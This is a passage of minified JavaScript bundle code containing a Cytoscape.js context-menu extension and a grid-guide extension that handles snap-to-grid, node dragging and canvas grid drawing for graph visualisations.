expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&C(e,t)}function y(e){var t=M();return function(){var n,i=I(e);if(t){var o=I(this).constructor;n=Reflect.construct(i,arguments,o)}else n=i.apply(this,arguments);return p(this,n)}}function p(e,t){return!t||"object"!==c(t)&&"function"!=typeof t?b(e):t}function b(e){if(void 0===e)throw new ReferenceError("this hasn\'t been initialised - super() hasn\'t been called");return e}function g(e,t,n){return(g="undefined"!=typeof Reflect&&Reflect.get?Reflect.get:function(e,t,n){var i=function(e,t){for(;!Object.prototype.hasOwnProperty.call(e,t)&&null!==(e=I(e)););return e}(e,t);if(i){var o=Object.getOwnPropertyDescriptor(i,t);return o.get?o.get.call(n):o.value}})(e,t,n||e)}function w(e){var t="function"==typeof Map?new Map:void 0;return(w=function(e){if(null===e||(n=e,-1===Function.toString.call(n).indexOf("[native code]")))return e;var n;if("function"!=typeof e)throw new TypeError("Super expression must either be null or a function");if(void 0!==t){if(t.has(e))return t.get(e);t.set(e,i)}function i(){return x(e,arguments,I(this).constructor)}return i.prototype=Object.create(e.prototype,{constructor:{value:i,enumerable:!1,writable:!0,configurable:!0}}),C(i,e)})(e)}function x(e,t,n){return(x=M()?Reflect.construct:function(e,t,n){var i=[null];i.push.apply(i,t);var o=new(Function.bind.apply(e,i));return n&&C(o,n.prototype),o}).apply(null,arguments)}function M(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Date.prototype.toString.call(Reflect.construct(Date,[],(function(){}))),!0}catch(e){return!1}}function C(e,t){return(C=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function I(e){return(I=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}function k(e){e.preventDefault(),e.stopPropagation()}var E=function(e){v(n,e);var t=y(n);function n(e,i,o){var u,s,a,c,l,f,h,m,v,y;d(this,n),g((s=b(y=t.call(this)),I(n.prototype)),"setAttribute",s).call(s,"id",e.id);var p=y._getMenuItemClassStr(o.cxtMenuItemClasses,e.hasTrailingDivider);if(g((a=b(y),I(n.prototype)),"setAttribute",a).call(a,"class",p),g((c=b(y),I(n.prototype)),"setAttribute",c).call(c,"title",null!==(u=e.tooltipText)&&void 0!==u?u:""),e.disabled&&r(b(y),"disabled",!0),e.image){var w=document.createElement("img");w.src=e.image.src,w.width=e.image.width,w.height=e.image.height,w.style.position="absolute",w.style.top=e.image.y+"px",w.style.left=e.image.x+"px",g((l=b(y),I(n.prototype)),"appendChild",l).call(l,w)}if(y.innerHTML+=e.content,y.onMenuItemClick=i,y.data={},y.clickFns=[],y.selector=e.selector,y.hasTrailingDivider=e.hasTrailingDivider,y.show=void 0===e.show||e.show,y.coreAsWell=e.coreAsWell||!1,y.scratchpad=o,void 0===e.onClickFunction&&void 0===e.submenu)throw new Error("A menu item must either have click function or a submenu or both");return y.onClickFunction=e.onClickFunction,e.submenu instanceof Array&&y._createSubmenu(e.submenu),g((f=b(y),I(n.prototype)),"addEventListener",f).call(f,"mousedown",k),g((h=b(y),I(n.prototype)),"addEventListener",h).call(h,"mouseup",k),g((m=b(y),I(n.prototype)),"addEventListener",m).call(m,"touchstart",k),g((v=b(y),I(n.prototype)),"addEventListener",v).call(v,"touchend",k),y}return m(n,[{key:"bindOnClickFunction",value:function(e){this.clickFns.push(e),g(I(n.prototype),"addEventListener",this).call(this,"click",e)}},{key:"unbindOnClickFunctions",value:function(){var e,t=l(this.clickFns);try{for(t.s();!(e=t.n()).done;){var i=e.value;g(I(n.prototype),"removeEventListener",this).call(this,"click",i)}}catch(e){t.e(e)}finally{t.f()}this.clickFns=[]}},{key:"enable",value:function(){r(this,"disabled",!1),this.hasSubmenu()&&this.addEventListener("mouseenter",this.mouseEnterHandler)}},{key:"disable",value:function(){r(this,"disabled",!0),this.hasSubmenu()&&this.removeEventListener("mouseenter",this.mouseEnterHandler)}},{key:"hide",value:function(){this.show=!1,this.style.display="none"}},{key:"getHasTrailingDivider",value:function(){return!!this.hasTrailingDivider}},{key:"setHasTrailingDivider",value:function(e){this.hasTrailingDivider=e}},{key:"hasSubmenu",value:function(){return this.submenu instanceof S}},{key:"appendSubmenuItem",value:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:void 0;this.hasSubmenu()||this._createSubmenu(),this.submenu.appendMenuItem(e,t)}},{key:"isClickable",value:function(){return void 0!==this.onClickFunction}},{key:"display",value:function(){this.show=!0,this.style.display="block"}},{key:"isVisible",value:function(){return!0===this.show&&"none"!==this.style.display}},{key:"removeSubmenu",value:function(){this.hasSubmenu()&&(this.submenu.removeAllMenuItems(),this.detachSubmenu())}},{key:"detachSubmenu",value:function(){this.hasSubmenu()&&(this.removeChild(this.submenu),this.removeChild(this.indicator),this.removeEventListener("mouseenter",this.mouseEnterHandler),this.removeEventListener("mouseleave",this.mouseLeaveHandler),this.submenu=void 0,this.indicator=void 0)}},{key:"_onMouseEnter",value:function(e){var t=this.getBoundingClientRect(),i=function(e){e.style.opacity="0",e.style.display="block";var t=e.getBoundingClientRect();return e.style.opacity="1",e.style.display="none",t}(this.submenu),o=t.right+i.width>window.innerWidth,r=t.top+i.height>window.innerHeight;o||r?o&&!r?(this.submenu.style.right=this.clientWidth+"px",this.submenu.style.top="0px",this.submenu.style.left="auto",this.submenu.style.bottom="auto"):o&&r?(this.submenu.style.right=this.clientWidth+"px",this.submenu.style.bottom="0px",this.submenu.style.top="auto",this.submenu.style.left="auto"):(this.submenu.style.left=this.clientWidth+"px",this.submenu.style.bottom="0px",this.submenu.style.right="auto",this.submenu.style.top="auto"):(this.submenu.style.left=this.clientWidth+"px",this.submenu.style.top="0px",this.submenu.style.right="auto",this.submenu.style.bottom="auto"),this.submenu.display();var u=Array.from(this.submenu.children).filter((function(e){if(e instanceof n)return e.isVisible()})),a=u.length;u.forEach((function(e,t){e instanceof n&&(t<a-1&&e.getHasTrailingDivider()?e.classList.add(s):e.getHasTrailingDivider()&&e.classList.remove(s))}))}},{key:"_onMouseLeave",value:function(e){var t,n,i,o,r;t={x:e.clientX,y:e.clientY},n=this.submenu,o=t.y,(i=t.x)>=(r=n.getBoundingClientRect()).left&&i<=r.right&&o>=r.top&&o<=r.bottom||this.submenu.hide()}},{key:"_createSubmenu",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[];this.indicator=this.scratchpad.submenuIndicatorGen(),this.submenu=new S(this.onMenuItemClick,this.scratchpad),this.appendChild(this.indicator),this.appendChild(this.submenu);var t,i=l(e);try{for(i.s();!(t=i.n()).done;){var o=t.value,r=new n(o,this.onMenuItemClick,this.scratchpad);this.submenu.appendMenuItem(r)}}catch(e){i.e(e)}finally{i.f()}this.mouseEnterHandler=this._onMouseEnter.bind(this),this.mouseLeaveHandler=this._onMouseLeave.bind(this),this.addEventListener("mouseenter",this.mouseEnterHandler),this.addEventListener("mouseleave",this.mouseLeaveHandler)}},{key:"_getMenuItemClassStr",value:function(e,t){return t?e+" "+s:e}}],[{key:"define",value:function(){u("ctx-menu-item",n,"button")}}]),n}(w(HTMLButtonElement)),S=function(e){v(n,e);var t=y(n);function n(e,i){var o,r;return d(this,n),g((o=b(r=t.call(this)),I(n.prototype)),"setAttribute",o).call(o,"class",i.cxtMenuClasses),r.style.position="absolute",r.onMenuItemClick=e,r.scratchpad=i,r}return m(n,[{key:"hide",value:function(){this.isVisible()&&(this.hideSubmenus(),this.style.display="none")}},{key:"display",value:function(){this.style.display="block"}},{key:"isVisible",value:function(){return"none"!==this.style.display}},{key:"hideMenuItems",value:function(){var e,t=l(this.children);try{for(t.s();!(e=t.n()).done;){var n=e.value;n instanceof HTMLElement?n.style.display="none":console.warn("".concat(n," is not a HTMLElement"))}}catch(e){t.e(e)}finally{t.f()}}},{key:"hideSubmenus",value:function(){var e,t=l(this.children);try{for(t.s();!(e=t.n()).done;){var n=e.value;n instanceof E&&n.submenu&&n.submenu.hide()}}catch(e){t.e(e)}finally{t.f()}}},{key:"appendMenuItem",value:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:void 0;if(void 0!==t){if(t.parentNode!==this)throw new Error("The item with id=\'".concat(t.id,"\' is not a child of the context menu"));this.insertBefore(e,t)}else this.appendChild(e);e.isClickable()&&this._performBindings(e)}},{key:"moveBefore",value:function(e,t){if(e.parentNode!==this)throw new Error("The item with id=\'".concat(e.id,"\' is not a child of context menu"));if(t.parentNode!==this)throw new Error("The item with id=\'".concat(t.id,"\' is not a child of context menu"));this.removeChild(e),this.insertBefore(e,t)}},{key:"removeAllMenuItems",value:function(){for(;this.firstChild;){var e=this.lastChild;e instanceof E?this._removeImmediateMenuItem(e):(console.warn("Found non menu item in the context menu: ",e),this.removeChild(e))}}},{key:"_removeImmediateMenuItem",value:function(e){if(!this._detachImmediateMenuItem(e))throw new Error("menu item(id=".concat(e.id,") is not in the context menu"));e.detachSubmenu(),e.unbindOnClickFunctions()}},{key:"_detachImmediateMenuItem",value:function(e){if(e.parentNode===this){if(this.removeChild(e),this.children.length<=0){var t=this.parentNode;t instanceof E&&t.detachSubmenu()}return!0}return!1}},{key:"_performBindings",value:function(e){var t=this._bindOnClick(e.onClickFunction);e.bindOnClickFunction(t),e.bindOnClickFunction(this.onMenuItemClick)}},{key:"_bindOnClick",value:function(e){var t=this;return function(){var n=t.scratchpad.currentCyEvent;e(n)}}}],[{key:"define",value:function(){u("menu-item-list",n,"div")}}]),n}(w(HTMLDivElement)),T=function(e){v(n,e);var t=y(n);function n(e,i){var o;return d(this,n),(o=t.call(this,e,i)).onMenuItemClick=function(t){k(t),o.hide(),e()},o}return m(n,[{key:"removeMenuItem",value:function(e){var t=e.parentElement;t instanceof S&&this.contains(t)&&t._removeImmediateMenuItem(e)}},{key:"appendMenuItem",value:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:void 0;this.ensureDoesntContain(e.id),g(I(n.prototype),"appendMenuItem",this).call(this,e,t)}},{key:"insertMenuItem",value:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n=t.before,i=t.parent;if(this.ensureDoesntContain(e.id),void 0!==n){if(!this.contains(n))throw new Error("before(id=".concat(n.id,") is not in the context menu"));var o=n.parentNode;if(!(o instanceof S))throw new Error("Parent of before(id=".concat(n.id,") is not a submenu"));o.appendMenuItem(e,n)}else if(void 0!==i){if(!this.contains(i))throw new Error("parent(id=".concat(i.id,") is not a descendant of the context menu"));i.appendSubmenuItem(e)}else this.appendMenuItem(e)}},{key:"moveBefore",value:function(e,t){var n=e.parentElement;if(!this.contains(n))throw new Error("parent(id=".concat(n.id,") is not in the contex menu"));if(!this.contains(t))throw new Error("before(id=".concat(t.id,") is not in the context menu"));n.removeChild(e),this.insertMenuItem(e,{before:t})}},{key:"moveToSubmenu",value:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null,n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:null,i=e.parentElement;if(!(i instanceof S))throw new Error("current parent(id=".concat(i.id,") is not a submenu"));if(!this.contains(i))throw new Error("parent of the menu item(id=".concat(i.id,") is not in the context menu"));if(null!==t){if(!this.contains(t))throw new Error("parent(id=".concat(t.id,") is not in the context menu"));i._detachImmediateMenuItem(e),t.appendSubmenuItem(e)}else null!==n&&(e.selector=n.selector,e.coreAsWell=n.coreAsWell),i._detachImmediateMenuItem(e),this.appendMenuItem(e)}},{key:"ensureDoesntContain",value:function(e){var t=document.getElementById(e);if(void 0!==t&&this.contains(t))throw new Error("There is already an element with id=".concat(e," in the context menu"))}}],[{key:"define",value:function(){u("ctx-menu",n,"div")}}]),n}(S);function A(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,i=new Array(t);n<t;n++)i[n]=e[n];return i}function O(e){var t=this;t.scratch("cycontextmenus")||t.scratch("cycontextmenus",{});var n,r,u=function(e){return t.scratch("cycontextmenus")[e]},c=function(e,n){return t.scratch("cycontextmenus")[e]=n},l=u("options"),f=u("cxtMenu"),d=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:void 0,n=m(e);if(void 0!==t){var i=y(t);f.insertMenuItem(n,{parent:i})}else f.insertMenuItem(n)},h=function(e){for(var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:void 0,n=0;n<e.length;n++)d(e[n],t)},m=function(e){var n=t.scratch("cycontextmenus");return new E(e,f.onMenuItemClick,n)},v=function(){u("active")&&(f.removeAllMenuItems(),t.off("tapstart",u("eventCyTapStart")),t.off(l.evtType,u("onCxttap")),t.off("viewport",u("onViewport")),document.removeEventListener("mouseup",u("hideOnNonCyClick")),f.parentNode.removeChild(f),f=void 0,c("cxtMenu",void 0),c("active",!1),c("anyVisibleChild",!1),c("onCxttap",void 0),c("onViewport",void 0),c("hideOnNonCyClick",void 0))},y=function(e){var t=document.getElementById(e);if(t instanceof E)return t;throw new Error("The item with id=".concat(e," is not a menu item"))};if("get"!==e){E.define(),S.define(),T.define(),l=function(e,t){var n={};for(var i in e)n[i]=e[i];for(var o in t)n[o]instanceof Array?n[o]=n[o].concat(t[o]):n[o]=t[o];return n}(a,e),c("options",l),u("active")&&v(),c("active",!0),c("submenuIndicatorGen",function(e){var t=document.createElement("img");return t.src=e.src,t.width=e.width,t.height=e.height,t.classList.add("cy-context-menus-submenu-indicator"),t}.bind(void 0,l.submenuIndicator));var p=o(l.contextMenuClasses);c("cxtMenuClasses",p);var b=t.scratch("cycontextmenus");f=new T((function(){return c("cxtMenuPosition",void 0)}),b),c("cxtMenu",f),t.container().appendChild(f),c("cxtMenuItemClasses",o(l.menuItemClasses));var g=l.menuItems;h(g),r=function(e){c("currentCyEvent",e),function(e){var n,i=t.container(),o=u("cxtMenuPosition"),r=e.position||e.cyPosition;if(o!=r){f.hideMenuItems(),c("anyVisibleChild",!1),c("cxtMenuPosition",r);var s={top:(n=i.getBoundingClientRect()).top,left:n.left},a=e.renderedPosition||e.cyRenderedPosition,l=getComputedStyle(i)["border-width"],d=parseInt(l.replace("px",""))||0;d>0&&(s.top+=d,s.left+=d);var h=i.clientHeight,m=i.clientWidth,v=h/2,y=m/2;a.y>v&&a.x<=y?(f.style.left=a.x+"px",f.style.bottom=h-a.y+"px",f.style.right="auto",f.style.top="auto"):a.y>v&&a.x>y?(f.style.right=m-a.x+"px",f.style.bottom=h-a.y+"px",f.style.left="auto",f.style.top="auto"):a.y<=v&&a.x<=y?(f.style.left=a.x+"px",f.style.top=a.y+"px",f.style.right="auto",f.style.bottom="auto"):(f.style.right=m-a.x+"px",f.style.top=a.y+"px",f.style.left="auto",f.style.bottom="auto")}}(e);var n,i=e.target||e.cyTarget,o=function(e,t){var n;if("undefined"==typeof Symbol||null==e[Symbol.iterator]){if(Array.isArray(e)||(n=function(e,t){if(e){if("string"==typeof e)return A(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);return"Object"===n&&e.constructor&&(n=e.constructor.name),"Map"===n||"Set"===n?Array.from(e):"Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)?A(e,t):void 0}}(e))||t&&e&&"number"==typeof e.length){n&&(e=n);var i=0,o=function(){};return{s:o,n:function(){return i>=e.length?{done:!0}:{done:!1,value:e[i++]}},e:function(e){throw e},f:o}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var r,u=!0,s=!1;return{s:function(){n=e[Symbol.iterator]()},n:function(){var e=n.next();return u=e.done,e},e:function(e){s=!0,r=e},f:function(){try{u||null==n.return||n.return()}finally{if(s)throw r}}}}(f.children);try{for(o.s();!(n=o.n()).done;){var r=n.value;r instanceof E&&(i===t?r.coreAsWell:i.is(r.selector))&&r.show&&(f.display(),c("anyVisibleChild",!0),r.display())}}catch(e){o.e(e)}finally{o.f()}var a=Array.from(f.children).filter((function(e){if(e instanceof E)return e.isVisible()})),l=a.length;a.forEach((function(e,t){e instanceof E&&(t<l-1&&e.getHasTrailingDivider()?e.classList.add(s):e.getHasTrailingDivider()&&e.classList.remove(s))})),!u("anyVisibleChild")&&!function(e){return e.offsetWidth<=0&&e.offsetHeight<=0||e.style&&e.style.display||getComputedStyle(e).display}(f)&&f.hide()},t.on(l.evtType,r),c("onCxttap",r),function(){var e=function(e){if(f.contains(e.originalEvent.target))return!1;f.hide(),c("cxtMenuPosition",void 0),c("currentCyEvent",void 0)};t.on("tapstart",e),c("eventCyTapStart",e);var n=function(){f.hide()};t.on("viewport",n),c("onViewport",n)}(),n=function(e){t.container().contains(e.target)||f.contains(e.target)||(f.hide(),c("cxtMenuPosition",void 0))},document.addEventListener("mouseup",n),c("hideOnNonCyClick",n),function(){var e,t=function(e,t){var n;if("undefined"==typeof Symbol||null==e[Symbol.iterator]){if(Array.isArray(e)||(n=function(e,t){if(e){if("string"==typeof e)return i(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);return"Object"===n&&e.constructor&&(n=e.constructor.name),"Map"===n||"Set"===n?Array.from(e):"Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)?i(e,t):void 0}}(e))||t&&e&&"number"==typeof e.length){n&&(e=n);var o=0,r=function(){};return{s:r,n:function(){return o>=e.length?{done:!0}:{done:!1,value:e[o++]}},e:function(e){throw e},f:r}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var u,s=!0,a=!1;return{s:function(){n=e[Symbol.iterator]()},n:function(){var e=n.next();return s=e.done,e},e:function(e){a=!0,u=e},f:function(){try{s||null==n.return||n.return()}finally{if(a)throw u}}}}(document.getElementsByClassName("cy-context-menus-cxt-menu"));try{for(t.s();!(e=t.n()).done;)e.value.addEventListener("contextmenu",(function(e){return e.preventDefault()}))}catch(e){t.e(e)}finally{t.f()}}()}return function(e){return{isActive:function(){return u("active")},appendMenuItem:function(t){var n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:void 0;return d(t,n),e},appendMenuItems:function(t){var n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:void 0;return h(t,n),e},removeMenuItem:function(t){var n=y(t);return f.removeMenuItem(n),e},setTrailingDivider:function(t,n){var i=y(t);return i.setHasTrailingDivider(n),n?i.classList.add(s):i.classList.remove(s),e},insertBeforeMenuItem:function(t,n){var i=m(t),o=y(n);return f.insertMenuItem(i,{before:o}),e},moveToSubmenu:function(t){var n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null,i=y(t);if(null===n)f.moveToSubmenu(i);else if("string"==typeof n){var o=y(n.toString());f.moveToSubmenu(i,o)}else void 0!==n.coreAsWell||void 0!==n.selector?f.moveToSubmenu(i,null,n):console.warn("options neither has coreAsWell nor selector property but it is an object. Are you sure that this is what you want to do?");return e},moveBeforeOtherMenuItem:function(t,n){var i=y(t),o=y(n);return f.moveBefore(i,o),e},disableMenuItem:function(t){return y(t).disable(),e},enableMenuItem:function(t){return y(t).enable(),e},hideMenuItem:function(t){return y(t).hide(),e},showMenuItem:function(t){return y(t).display(),e},destroy:function(){return v(),e}}}(this)}},579:(e,t,n)=>{var i=n(621).contextMenus,o=function(e){e&&e("core","contextMenus",i)};"undefined"!=typeof cytoscape&&o(cytoscape),e.exports=o}},t={};function n(i){var o=t[i];if(void 0!==o)return o.exports;var r=t[i]={exports:{}};return e[i](r,r.exports,n),r.exports}return n.d=(e,t)=>{for(var i in t)n.o(t,i)&&!n.o(e,i)&&Object.defineProperty(e,i,{enumerable:!0,get:t[i]})},n.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),n.r=e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},n(579)})()}));'},(e,t,r)=>{"use strict";r.r(t)},(e,t,r)=>{var n;(function(){"use strict";var a=function(e){if(!e){return}r(147);var t=false;var n={snapToGridOnRelease:true,snapToGridDuringDrag:false,snapToAlignmentLocationOnRelease:false,snapToAlignmentLocationDuringDrag:false,distributionGuidelines:false,geometricGuideline:false,initPosAlignment:false,centerToEdgeAlignment:false,resize:false,parentPadding:false,drawGrid:true,gridSpacing:20,snapToGridCenter:true,zoomDash:true,panGrid:false,gridStackOrder:-1,gridColor:"#dedede",lineWidth:1,guidelinesStackOrder:4,guidelinesTolerance:2,guidelinesStyle:{strokeStyle:"#8b7d6b",geometricGuidelineRange:400,range:100,minDistRange:10,distGuidelineOffset:10,horizontalDistColor:"#ff0000",verticalDistColor:"#00ff00",initPosAlignmentColor:"#0000ff",lineDash:[0,0],horizontalDistLine:[0,0],verticalDistLine:[0,0],initPosAlignmentLine:[0,0]},parentSpacing:-1};var a=r(148);var i=r(149);var o=r(150);var s=r(151);var u=r(152);var l=r(153);var f=r(155);var c=r(156);var v=r(157);function d(e){if(!e.scratch("_gridGuide")){e.scratch("_gridGuide",{})}return e.scratch("_gridGuide")}e("core","gridGuide",(function(r){var h=this;var p=d(h);var g=Object.extend({},p.options||n,r);p.options=g;if(!p.initialized){var y,m,b,x,w,E,_,k;y=a(h,g.gridSpacing,g.snapToGridCenter);m=s(g.gridSpacing);b=i(h,y);x=o(g,h,v);E=l(g,h,v);_=f(g,h);w=u(h,y,m,b,x,E,_,g);k=c(e,h,t);t=true;w.init(g);p.initialized=true;p.eventsController=w}else{var w=p.eventsController;w.syncWithOptions(g)}return this}))};if(true&&e.exports){e.exports=a}if(true){!(n=function(){return a}.call(t,r,t,e),n!==undefined&&(e.exports=n))}if(typeof cytoscape!=="undefined"){a(cytoscape)}})()},()=>{Object.extend=function(e){e=e||{};for(var t=1;t<arguments.length;t++){var r=arguments[t];if(!r)continue;for(var n in r){if(r.hasOwnProperty(n)){if(Array.isArray(r[n])){e[n]=r[n].slice()}else if(typeof r[n]==="object"){e[n]=Object.extend(e[n],r[n])}else{e[n]=r[n]}}}}return e}},e=>{e.exports=function(e,t,r){var n={};n.changeOptions=function(e){t=e.gridSpacing;r=e.snapToGridCenter?.5:0};var a=function(e){if(!e.scratch("_gridGuide"))e.scratch("_gridGuide",{});return e.scratch("_gridGuide")};n.snapPos=function(e){var n=r?Math.floor(e.x/t):Math.round(e.x/t);var a=r?Math.floor(e.y/t):Math.round(e.y/t);var i={x:(n+r)*t,y:(a+r)*t};return i};n.snapNode=function(e){var t=e.position();var r=n.snapPos(t);e.position(r)};n.snapNodesTopDown=function(t){e.startBatch();t.union(t.descendants()).filter(":childless").positions((function(e,t){if(typeof e==="number"){e=t}var r=e.position();return n.snapPos(r)}));e.endBatch()};n.onFreeNode=function(e){var t;var r=e.target||e.cyTarget;if(r.selected())t=e.cy.$(":selected");else t=r;n.snapNodesTopDown(t)};n.recoverSnapNode=function(e){var t=a(e).snap;if(t){e.position(t.oldPos)}};return n}},e=>{e.exports=function(e,t){var r={};var n;var a;var i;var o;r.onTapStartNode=function(t){if(t.originalEvent.altKey||t.originalEvent.ctrlKey||t.originalEvent.metaKey||t.originalEvent.shiftKey){return}var r=t.target||t.cyTarget;if(r.selected())a=t.cy.$(":selected");else a=r;i=t.position||t.cyPosition;if(r.grabbable()&&!r.locked()){n=r;n.lock();e.on("tapdrag",l);e.on("tapend",s)}};var s=function(t){e.off("tapdrag",l);e.off("tapend",s);n.unlock();t.preventDefault()};var u=function(){return{x:o.x-i.x,y:o.y-i.y}};var l=function(e){var r=n.position();o=e.position||e.cyPosition;o=t.snapPos(o);var s=u();if(s.x!=0||s.y!=0){n.unlock();var l=a.union(a.descendants());l.filter(":childless").positions((function(e,r){if(typeof e==="number"){e=r}var n=e.position();return t.snapPos({x:n.x+s.x,y:n.y+s.y})}));i=o;n.lock();n.trigger("drag")}};return r}},e=>{e.exports=function(e,t,r){var n=e;var a=function(e){n=e};var i=function(e){var t=e.getBoundingClientRect();return{top:t.top+document.documentElement.scrollTop,left:t.left+document.documentElement.scrollLeft}};var o=document.createElement("canvas");var s=t.container();var u=o.getContext("2d");s.appendChild(o);var l=function(){o.height=0;o.width=0;o.style.position="absolute";o.style.top=0;o.style.left=0;o.style.zIndex=n.gridStackOrder};l();var f=function(){var e=t.zoom();var r=t.width();var a=t.height();var i=n.gridSpacing*e;var o=t.pan();var s=o.x%i;var l=o.y%i;u.strokeStyle=n.gridColor;u.lineWidth=n.lineWidth;var f='\t<svg width="'+r+'" height="'+a+'" xmlns="http://www.w3.org/2000/svg">\n            <defs>\n                <pattern id="horizontalLines" width="'+i+'" height="'+i+'" patternUnits="userSpaceOnUse">\n                    <path d="M '+i+" 0 L 0 0 0 "+0+'" fill="none" stroke="'+n.gridColor+'" stroke-width="'+n.lineWidth+'" />\n                </pattern>\n                <pattern id="verticalLines" width="'+i+'" height="'+i+'" patternUnits="userSpaceOnUse">\n                    <path d="M '+0+" 0 L 0 0 0 "+i+'" fill="none" stroke="'+n.gridColor+'" stroke-width="'+n.lineWidth+'" />\n                </pattern>\n            </defs>\n            <rect width="100%" height="100%" fill="url(#horizontalLines)" transform="translate('+0+", "+l+')" />\n            <rect width="100%" height="100%" fill="url(#verticalLines)" transform="translate('+s+", "+0+')" />\n        </svg>\n';var v=new Image;f=encodeURIComponent(f);v.onload=function(){c();u.drawImage(v,0,0)};v.src="data:image/svg+xml,"+f};var c=function(){var e=t.width();var r=t.height();u.clearRect(0,0,e,r)};var v=r((function(){o.height=t.height();o.width=t.width();o.style.position="absolute";o.style.top=0;o.style.left=0;o.style.zIndex=n.gridStackOrder;setTimeout((function(){o.height=t.height();o.width=t.width();var e=i(o);var r=i(s);o.style.top=-(e.top-r.top);o.style.left=-(e.left-r.left);f()}),0)}),250);return{initCanvas:v,resizeCanvas:v,resetCanvas:l,clearCanvas:c,drawGrid:f,changeOptions:a,sizeCanvas:f}}},e=>{e.exports=function(e){var t=function(t){e=Number(t.gridSpacing)};var r=function(e){if(!e.scratch("_gridGuide"))e.scratch("_gridGuide",{});return e.scratch("_gridGuide")};function n(t){var n=t.width();var a=t.height();var i=Math.round((n-e)/(e*2))*(e*2);var o=Math.round((a-e)/(e*2))*(e*2);i=i>0?i+e:e;o=o>0?o+e:e;if(n!=i||a!=o){t.style({width:i,height:o});r(t).resize={oldWidth:n,oldHeight:a}}}function a(e){var t=r(e).resize;if(t)e.style({width:t.oldWidth,height:t.oldHeight})}return{resizeNode:n,recoverNodeDimensions:a,changeOptions:t}}},e=>{e.exports=function(e,t,r,n,a,i,o,s){var u=function(e){return function(t){e(t)}};var l={snapToGridDuringDrag:new u(h),resize:new u(m),snapToGridOnRelease:new u(E),drawGrid:new u(S),guidelines:new u(N),parentPadding:new u(L)};function f(e,t){return function(r){var n=r.target||r.cyTarget;if(!n.is(":parent")||t)e(n)}}function c(t){return function(){e.nodes().not(":parent").each((function(e,r){if(typeof e==="number"){e=r}t(e)}))}}function v(t){return function(){e.nodes().each((function(e,r){if(typeof e==="number"){e=r}t(e)}))}}function d(e){return e?"on":"off"}function h(t){e[d(t)]("tapstart","node",n.onTapStartNode)}var p=c(r.resizeNode);var g=f(r.resizeNode);var y=c(r.recoverNodeDimensions);function m(t){e[d(t)]("ready",p);t?p():y()}var b=v(t.snapNodesTopDown);var x=v(t.recoverSnapNode);var w=f(t.snapNode,true);function E(r){e[d(r)]("add","node",w);e[d(r)]("ready",b);e[d(r)]("free","node",t.onFreeNode);if(r){b()}else{x()}}var _=function(){if(j.zoomDash)a.drawGrid()};var k=function(){if(j.panGrid)a.drawGrid()};function S(t){e[d(t)]("zoom",_);e[d(t)]("pan",k);if(t){a.initCanvas();e.on("resize",a.resizeCanvas)}else{a.clearCanvas();a.resetCanvas();e.off("resize",a.resizeCanvas)}}var C=null;var D=function(e){var t=e.target||e.cyTarget;var r=t.selected()?e.cy.$(":selected"):t;C=i.getTopMostNodes(r.nodes());i.lines.init(C)};var T=function(e){if(this.id()==C.id()){i.lines.update(C);if(j.snapToAlignmentLocationDuringDrag)i.lines.snapToAlignmentLocation(C)}};var P=function(e){if(j.snapToAlignmentLocationOnRelease)i.lines.snapToAlignmentLocation(C);i.lines.destroy();C=null};var M=function(e){i.lines.resize()};var I=function(e){i.getMousePos(e)};var O=function(t){if(C){i.setMousePos(e.pan());i.lines.init(C)}};function N(t){if(t){i.resizeCanvas();e.on("tapstart","node",I);e.on("grab",D);e.on("pan",O);e.on("drag","node",T);e.on("free",P);window.addEventListener("resize",M)}else{e.off("tapstart","node",I);e.off("grab",D);e.off("pan",O);e.off("drag","node",T);e.off("free",P);i.resetCanvas();window.removeEventListener("resize",M)}}var z=function(t){o.setPaddingOfParent(e.nodes(":parent"),t)};var A=function(e){o.setPaddingOfParent(e,true)};function L(t){z(t);e[d(t)]("ready",z);e[d(t)]("add","node:parent",f(A,true))}var B={};var j;var R={drawGrid:["gridSpacing","zoomDash","panGrid","gridStackOrder","gridColor","lineWidth","lineDash"],guidelines:["gridSpacing","guidelinesStackOrder","guidelinesTolerance","guidelinesStyle","distributionGuidelines","range","minDistRange","geometricGuidelineRange"],resize:["gridSpacing"],parentPadding:["gridSpacing","parentSpacing"],snapToGridOnRelease:["gridSpacing","snapToGridCenter"]};function F(e){j=Object.extend({},e);e.guidelines=e.initPosAlignment||e.distributionGuidelines||e.geometricGuideline;for(var n in e)if(B[n]!=e[n])if(l.hasOwnProperty(n)){l[n](e[n])}else{for(var s in R){var 